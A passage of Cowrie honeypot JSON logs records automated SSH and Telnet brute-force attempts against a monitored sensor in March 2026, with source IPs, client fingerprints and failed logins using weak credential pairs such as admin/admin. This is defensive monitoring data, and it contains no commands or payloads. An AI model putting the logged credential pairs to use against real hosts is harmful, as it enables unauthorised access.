03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:16.536278Z","src_ip":"150.95.157.171","session":"4aec8fee75f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maks","password":"Maks123","message":"login attempt [maks/Maks123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:17.203272Z","src_ip":"150.95.157.171","session":"4aec8fee75f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:18.365164Z","src_ip":"150.95.157.171","session":"4aec8fee75f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":43970,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7b9071b04b7","protocol":"ssh","message":"New connection: 172.172.196.177:43970 (159.203.135.109:22) [session: a7b9071b04b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:22.036765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:22.040217Z","src_ip":"172.172.196.177","session":"a7b9071b04b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:22.052920Z","src_ip":"172.172.196.177","session":"a7b9071b04b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hyun","password":"12345","message":"login attempt [hyun/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:22.137255Z","src_ip":"172.172.196.177","session":"a7b9071b04b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:23.151146Z","src_ip":"172.172.196.177","session":"a7b9071b04b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":36038,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73533eb6b8a","protocol":"ssh","message":"New connection: 2.57.122.96:36038 (159.203.135.109:22) [session: c73533eb6b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:27.697682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:27.701917Z","src_ip":"2.57.122.96","session":"c73533eb6b8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:27.806085Z","src_ip":"2.57.122.96","session":"c73533eb6b8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"administrator","message":"login attempt [solana/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:28.119953Z","src_ip":"2.57.122.96","session":"c73533eb6b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:29.224808Z","src_ip":"2.57.122.96","session":"c73533eb6b8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":48952,"dst_ip":"159.203.135.109","dst_port":23,"session":"27cc1e619095","protocol":"telnet","message":"New connection: 101.37.83.79:48952 (159.203.135.109:23) [session: 27cc1e619095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:40.598831Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":48962,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d9e3114faf","protocol":"telnet","message":"New connection: 101.37.83.79:48962 (159.203.135.109:23) [session: d6d9e3114faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:42.068899Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:00.698816Z","src_ip":"47.253.230.244","session":"e64ea644c00c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.73042964935303,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:00.702328Z","src_ip":"47.253.230.244","session":"e64ea644c00c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":52886,"dst_ip":"10.17.0.5","dst_port":23,"session":"05219a4a61da","protocol":"telnet","message":"New connection: 49.88.156.34:52886 (10.17.0.5:23) [session: 05219a4a61da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:04.446886Z"}
{"eventid":"cowrie.session.closed","duration":0.25685715675354004,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:04.703628Z","src_ip":"49.88.156.34","session":"05219a4a61da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80174493789673,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:13.400445Z","src_ip":"101.37.83.79","session":"27cc1e619095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69924759864807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:13.768032Z","src_ip":"101.37.83.79","session":"d6d9e3114faf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":52130,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea1b940b2ed7","protocol":"telnet","message":"New connection: 101.37.83.79:52130 (159.203.135.109:23) [session: ea1b940b2ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:43.059299Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":39596,"dst_ip":"159.203.135.109","dst_port":22,"session":"f73d76a371ac","protocol":"ssh","message":"New connection: 45.148.10.121:39596 (159.203.135.109:22) [session: f73d76a371ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:48.060778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:48.066971Z","src_ip":"45.148.10.121","session":"f73d76a371ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:48.147045Z","src_ip":"45.148.10.121","session":"f73d76a371ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:48.387683Z","src_ip":"45.148.10.121","session":"f73d76a371ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:49.506986Z","src_ip":"45.148.10.121","session":"f73d76a371ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":46290,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ff07930fd73","protocol":"ssh","message":"New connection: 172.173.117.246:46290 (159.203.135.109:22) [session: 3ff07930fd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:50.004953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:50.010512Z","src_ip":"172.173.117.246","session":"3ff07930fd73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:50.046865Z","src_ip":"172.173.117.246","session":"3ff07930fd73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"12345678","message":"login attempt [allen/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:50.229277Z","src_ip":"172.173.117.246","session":"3ff07930fd73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:55:51.271770Z","src_ip":"172.173.117.246","session":"3ff07930fd73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":47360,"dst_ip":"10.17.0.5","dst_port":22,"session":"040b5fa233de","protocol":"ssh","message":"New connection: 45.148.10.121:47360 (10.17.0.5:22) [session: 040b5fa233de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:07.245781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:07.252534Z","src_ip":"45.148.10.121","session":"040b5fa233de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:07.351668Z","src_ip":"45.148.10.121","session":"040b5fa233de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:07.635606Z","src_ip":"45.148.10.121","session":"040b5fa233de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:08.717733Z","src_ip":"45.148.10.121","session":"040b5fa233de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":44974,"dst_ip":"159.203.135.109","dst_port":23,"session":"90e95360475c","protocol":"telnet","message":"New connection: 101.37.83.79:44974 (159.203.135.109:23) [session: 90e95360475c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:10.487189Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":33574,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bfd4763beb8","protocol":"ssh","message":"New connection: 45.121.147.48:33574 (159.203.135.109:22) [session: 4bfd4763beb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:12.642492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:12.646946Z","src_ip":"45.121.147.48","session":"4bfd4763beb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:12.881971Z","src_ip":"45.121.147.48","session":"4bfd4763beb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"12345678","message":"login attempt [allen/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:13.851097Z","src_ip":"45.121.147.48","session":"4bfd4763beb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:15.088368Z","src_ip":"45.121.147.48","session":"4bfd4763beb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.53924798965454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:15.598374Z","src_ip":"101.37.83.79","session":"ea1b940b2ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":33282,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1b42a3984af","protocol":"ssh","message":"New connection: 150.95.157.171:33282 (159.203.135.109:22) [session: e1b42a3984af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:16.819208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:16.824630Z","src_ip":"150.95.157.171","session":"e1b42a3984af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:16.980729Z","src_ip":"150.95.157.171","session":"e1b42a3984af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"desktop","password":"desktop1234","message":"login attempt [desktop/desktop1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:17.625708Z","src_ip":"150.95.157.171","session":"e1b42a3984af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:18.796277Z","src_ip":"150.95.157.171","session":"e1b42a3984af","protocol":"ssh"}
